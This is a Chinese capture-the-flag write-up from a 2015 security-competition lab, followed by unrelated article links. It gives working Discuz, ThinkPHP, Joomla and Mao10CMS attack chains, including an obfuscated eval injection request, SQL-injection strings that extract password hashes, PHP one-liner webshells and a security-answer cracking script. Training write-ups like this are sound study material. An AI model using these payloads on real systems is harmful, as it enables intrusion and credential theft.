渗透测试入门

我很简单,请不要欺负我

网站综合渗透实验:

真的很简单:

你是会员吗:

2015中国网络安全大赛

一、代码执行:

同DZ漏洞全家桶中的"又见DZ,我能那你怎么办"。

二、Session欺骗:(so奇葩)

  1. www.xxx.xxx/admin/ 存在目录遍历;
  2. 禁用JS后居然可以获取后台!
  3. 不仅有后台,而且可以修改管理员密码!
  4. 在软件上传栏目中,系统使用白名单,可以直接上传php;
  5. Getshell。

三、越权访问:

  1. 帝国备份王,万能Cookie漏洞;
  2. BurpSuit 自动替换Cookie。
  3. 利用数据库备份写入一句话。(正则替换备份文件内容为一句话)
  4. Getshell。

四、信息泄露:

  1. 获取configuration.php~备份文件;
  2. 利用configuration文件中的账号密码登录phpmyadmin;
  3. 利用phpmyadmin重置admin密码;
  4. 登录Joomla后台,修改template代码,插入一句话;
  5. 连接一句话,www.xxx.com/templates/atom/index.php

五、框架漏洞:

  1. ThinkPHP单一入口漏洞;
  2. http://www.test.ichunqiu/index.php/module/action/param1{${eval($_POST[chopper])}};
  3. 连接地址如上,密码chopper;
  4. Getshell。

六、Reinstall:

  1. Mao10CMS前台getshell漏洞;
  2. 存在Install.php.bak文件。/install.php安装脚本里面直接就是初始化数据库,然后写入配置文件:./Application/Common/Conf/db.php 安装文件没有做任何过滤。只能写db_prefix,因为只有他不写入数据库,而已写入配置文件,这样我们就能拿到webshell了。

',@eval ($_POST["chopper"]), //

DZ漏洞全家桶

一、这不是DZ漏洞?

  1. Discuz!X系列转换工具任意代码写入漏洞。在www.test.ichunqiu/utility/convert页面;
  2. 使用EXP。

    POST /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1

    Host: www.test.ichunqiu

    User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/2X.0

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

    Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

    Accept-Encoding: gzip, deflate

    Connection: keep-alive

    Content-Length: 199

    Content-Type: application/x-www-form-urlencoded

    newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

  3. 连接www.test.ichunqiu/utility/convert/data/config.inc.php 密码c;
  4. Getshell。

二、又见DZ,我能拿你怎么办:

  1. 打开论坛,看下版本是dz!6.0 有一个投票注入漏洞,于是注册新用户soso,发起新投票,发现没有权限。
  2. 浏览论坛,发现test1账号,存在弱口令test1,拥有版主权限。
  3. 用test1账号发起投票,在"编辑"时用Burpsuit抓包。
  4. EXP:测试漏洞是否存在:' or updatexml(1,concat(0x7e,(version())),0) or ''='(注意删除内容。)
  5. 爆破管理员密码

    ' or updatexml(1,concat(0x7e,(select password from cdb_members where uid=1)),0) or ''='

    得到31位md5值"b10a9a82cf828627be682033e6c58780",手工添加一位后,在线破解,得admin密码:whoami!@#123

  6. 登录时发现有安全提问,于是继续用burpsuite 爆安全提问答案

    构造语句:' or updatexml(1,concat(0x7e,(select secques from cdb_members where uid=1)),0) or ''='

    得到加密字符串"~61a55235",利用以下脚本爆破,得安全问题为第七个问题,答案为"9595"。

    (1),将安全问题的value md5加密得到一个加密串

    (2),将问题的答案与上一步的加密串连接组成新的字符串后再md5加密得到另一个加密串

    (3),取第二步得出的加密串的第17位至24位的8位字符串存储到数据库

    自己写一个py脚本通过密码字典与得到到八位加密串碰撞得出安全提问答案,代码如下:

    DiscuzWendaCrack.py

    import md5

    md51 = 'c4ca4238a0b923820dcc509a6f75849b'

    md52 = 'c81e728d9d4c2f636f067f89cc14862c'

    md53 = 'eccbc87e4b5ce2fe28308fd9f2a7baf3'

    md54 = 'a87ff679a2f3e71d9181a67b7542122c'

    md55 = 'e4da3b7fbbce2345d7772b0674a318d5'

    md56 = '1679091c5a880faf6fb5e6087eb1b2dc'

    md57 = '8f14e45fceea167a5a36dedd4bea2543'

    arr = [md51,md52,md53,md54,md55,md56,md57]

    crackstr = '61a55235'

    aa = 1

    f = open("foo.txt")

    line = f.readline()

    while line:

    line=line.strip('\n')

    i=0

    for md in arr:

    i = i+1

    m1 = md5.new()

    m1.update(line+md)

    jiamistr = m1.hexdigest()

    if not crackstr in jiamistr:

    print line+'('+str(i)+'):unsuccess'

    else:

    print line+'('+str(i)+'):'+jiamistr

    aa=0;

    break

    line = f.readline()

    if not aa:

    break

    f.close()

    DiscuzWendaCrack.py

    import md5

    md51 = 'c4ca4238a0b923820dcc509a6f75849b'

    md52 = 'c81e728d9d4c2f636f067f89cc14862c'

    md53 = 'eccbc87e4b5ce2fe28308fd9f2a7baf3'

    md54 = 'a87ff679a2f3e71d9181a67b7542122c'

    md55 = 'e4da3b7fbbce2345d7772b0674a318d5'

    md56 = '1679091c5a880faf6fb5e6087eb1b2dc'

    md57 = '8f14e45fceea167a5a36dedd4bea2543'

    arr = [md51,md52,md53,md54,md55,md56,md57]

    crackstr = '61a55235'

    aa = 1

    f = open("foo.txt")

    line = f.readline()

    while line:

    line=line.strip('\n')

    i=0

    for md in arr:

    i = i+1

    m1 = md5.new()

    m1.update(line+md)

    jiamistr = m1.hexdigest()

    if not crackstr in jiamistr:

    print line+'('+str(i)+'):unsuccess'

    else:

    print line+'('+str(i)+'):'+jiamistr

    aa=0;

    break

    line = f.readline()

    if not aa:

    break

    f.close()

    密码字典foo.txt是生成的3位到5位的纯数字

  1. 登录后台通过 论坛管理--模板编辑--详情--customfaq编辑写入一句话木马 eval($_POST[soso]);注意在<?之后位置写入保存。
  2. Getshell,连接地址templates\default\customfaq.lang.php。

linhai19760812

only_system

ITest的更多相关文章

  1. 分布式团队中沟通引发的问题, itest 解决之道

    导读: 从问题场景和 itest 优雅解决办法及示例2部分来阐述 1.问题场景: 研发团队是分散在几地的分布式团队,经常会因沟通引来一些问题.如下三图是开发觉得测试进度太慢,一番对话之后, 接下来他们 ...

  2. itest 开源测试管理项目中封装的下拉列表小组件:实现下拉列表使用者前后端0行代码

    导读: 主要从4个方面来阐述,1:背景:2:思路:3:代码实现:4:使用 一:封装背景       像easy ui 之类的纯前端组件,也有下拉列表组件,但是使用的时候,每个下拉列表,要配一个URL ...

  3. spring JdbcTemplate 在itest 开源测试管理项目中的浅层(5个使用场景)封装

    导读: 主要从4个方面来阐述,1:背景:2:思路:3:代码实现:4:使用 一:封装背景, 在做项目的时候,用的JPA ,有些复杂查询,比如报表用原生的JdbcTemplate ,很不方便;传参也不方便 ...

  4. 软件测试自动化的最新趋势对开源测试管理软件ITEST的启示

    https://www.infoq.cn/article/c-LHJS2ksuDxp1WkrGl4 理面提到几点,DevOps 的关键原则是开发团队.测试团队和运营团队协作,无缝发布软件.这意味着集中 ...

  5. Itest(爱测试),最懂测试人的开源测试管理软件隆重发布

    测试人自己开发,汇聚10年沉淀,独创流程驱动测试.度量展现测试人价值的测试协同软件,开源免费   官网刚上线,近期发布源码:http://www.itest.work 在线体验 http://www. ...

  6. C#调用Delphi接口(ITest = interface)

    首先创建一个delphi的DLL工程 library testintfdll; { Important note about DLL memory management: ShareMem must ...

  7. 开源敏捷测试管理& 开源BUG跟踪管理软件itest(爱测试) V3.3.0隆重发布

    v3.3.0 下载地址 :itest下载 码云源码地址 https://gitee.com/itestwork/itest 开源中国  itest项目地址   https://www.oschina. ...

  8. itest(爱测试) 4.2.1 发布,开源BUG 跟踪管理 & 敏捷测试管理软件

    itest 入选 2019 年度最受欢迎开源中国软件 开源工具的发展,离不开你我的支持,需要您投上宝贵的一票  去投票 itest 简介:查看简介 itest 开源敏捷测试管理,testOps 践行者 ...

  9. itest(爱测试) 4.2.0 发布,开源BUG 跟踪管理 & 敏捷测试管理软件

    itest 入选 2019 年度最受欢迎开源中国软件 开源工具的发展,离不开你我的支持,需要您投上宝贵的一票  去投票 v4.2.0下载地址 :itest下载 itest 简介:查看简介 itest ...

  10. itest(爱测试) 4.1.5 发布,开源BUG 跟踪管理 & 敏捷测试管理软件

    v4.1.5下载地址 :itest下载 itest 简介:查看简介 itest 开源敏捷测试管理,testOps 践行者.可按测试包分配测试用例执行,也可建测试迭代(含任务,测试包,BUG)来组织测试 ...

随机推荐

  1. php+redis实现多台服务器内网存储session并读取

    大型网站由于大并发的问题会导致系统出现诡异的崩溃性问题这着实让人很是蛋疼,首先考虑的就是负载均衡服务器来处理这个,当然数据库的性能也是非常非常重要的,今天就说下在负载均衡情况下对于session这个问 ...

  2. 【摘录】使用实体框架、Dapper和Chain的仓储模式实现策略

    以下文章摘录来自InfoQ,是一篇不错的软问,大家细细的品味 关键要点: Dapper这类微ORM(Micro-ORM)虽然提供了最好的性能,但也需要去做最多的工作. 在无需复杂对象图时,Chain这 ...

  3. 曲演杂坛--SQLCMD下执行命令失败但没有任何错误提示的坑

    今天使用SQLCMD导入到SQL SERVER数据库中,看着数据文件都成功执行,但是意外发现有一个文件数据没有成功导入,但执行不报错,很容易导致问题被忽略. 使用存在问题的文件做下测试,从界面上看几行 ...

  4. RFC Transactional RFC (tRFC) queue RFC(qRFC) 概念

    Transactional RFC When using transactional RFC (tRFC), the called function module is executed exactl ...

  5. struts2框架学习(二)

    ---恢复内容开始--- 一.搭建步奏 1.新建web项目,进行必备Jar包的拷贝,放到lib目录以便项目的引用. 2.拷贝框架的核心配置文件Struts.xml,放到src目录下,保留一个基本配置即 ...

  6. Prefix the choice with ! to persist it to bower.json ? Answer (问你选择哪个1,2,3.........)

    Unable to find a suitable version for underscore, please choose one by typing on e of the numbers be ...

  7. WebService一、数据交互

    调用webservice总结:  1.加入第三方的jar包 Ksoap2-android-XXX    2.访问响应的webservice的网站,查看响应的信息,得到nameSpace,methodN ...

  8. OSI模型第二层数据链路层-STP协议

    1.stp协议的由来. 在二层网络中,交换机起到了很重要的作用,如果有一台交换机出现故障会影响网络的使用,为了避免存在单点故障,在实际的二层链路中会采用链路冗余,也就是采用交换设备之间多条联络连接,即 ...

  9. c++ 常见问题之string

    string初始化: 拷贝初始化: = 初始化变量,编译器把等号右侧的初始值拷贝到新创建的对象  string s = "stduent";    string s = s1; 直 ...

  10. 负载均衡,最理想使用 redis实现session共享

    负载均衡在多台php服务器负载均衡的情况下,第一秒请求是a服务器,第二秒请求是b服务器, session必须放在一个公共的服务器,最理想是使用 redis实现session共享.内存的速度比磁盘访问快 ...